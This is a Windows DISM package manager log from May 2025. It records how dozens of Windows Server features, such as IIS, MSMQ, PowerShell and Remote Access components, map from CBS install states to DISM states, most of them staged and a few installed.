2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WebAccess with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ActiveDirectory-PowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-AdministrativeCenter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-DomainController with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-ISM-Smtp with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature AuthManager with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IPAMClientFeature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-RSAT with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-API with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-Database with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-WidDatabase with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MicrosoftWindowsPowerShellRoot with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MicrosoftWindowsPowerShell with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature iSCSITargetServer-PowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature PKIClient-PSH-Cmdlets with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature KeyDistributionService-PSH-Cmdlets with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature TlsSessionTicketKey-PSH-Cmdlets with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Tpm-PSH-Cmdlets with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MicrosoftWindowsPowerShellV2 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsPowerShellWebAccess with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DataCenterBridging-LLDP-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAccessMgmtTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAccessPowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RasServerAdminTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DamgmtTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Psh-Cmdlets with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAccess with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAccessServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RasRoutingProtocols with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebServerRole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-CommonHttpFeatures with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-Security with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-RequestFiltering with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-StaticContent with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-DefaultDocument with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-DirectoryBrowsing with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpErrors with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpRedirect with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebDAV with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ApplicationDevelopment with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebSockets with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ApplicationInit with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-NetFxExtensibility with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-NetFxExtensibility45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ISAPIExtensions with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ISAPIFilter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ASPNET with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ASPNET45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ASP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-CGI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ServerSideIncludes with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HealthAndDiagnostics with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpLogging with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-LoggingLibraries with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-RequestMonitor with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpTracing with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-CustomLogging with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ODBCLogging with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-CertProvider with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-BasicAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WindowsAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-DigestAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ClientCertificateMappingAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-IISCertificateMappingAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-URLAuthorization with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-IPSecurity with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-Performance with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpCompressionStatic with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpCompressionDynamic with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebServerManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ManagementConsole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-LegacySnapIn with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ManagementScriptingTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ManagementService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-IIS6ManagementCompatibility with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-Metabase with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WMICompatibility with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-LegacyScripts with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-FTPServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-FTPSvc with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-FTPExtensibility with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WAS-WindowsActivationService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WAS-ProcessModel with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WAS-NetFxEnvironment with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WAS-ConfigurationAPI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HostableWebCore with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BITSExtensions-AdminPack with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Gateway-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BITSExtensions-Upload with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-HTTP-Activation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-NonHTTP-Activation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Smtpsvc-Admin-Update-Name with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Smtpsvc-Service-Update-Name with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RPC-HTTP_Proxy with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Gateway with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WorkFolders-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-DCOMProxy with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-ADIntegration with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-HTTP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-Multicast with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-Triggers with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-RoutingServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Web-Services-for-Management-IIS-Extension with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-ADAM with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCore-WOW64 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-Server-Foundation-Features with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-Server-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-LPDPrintService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
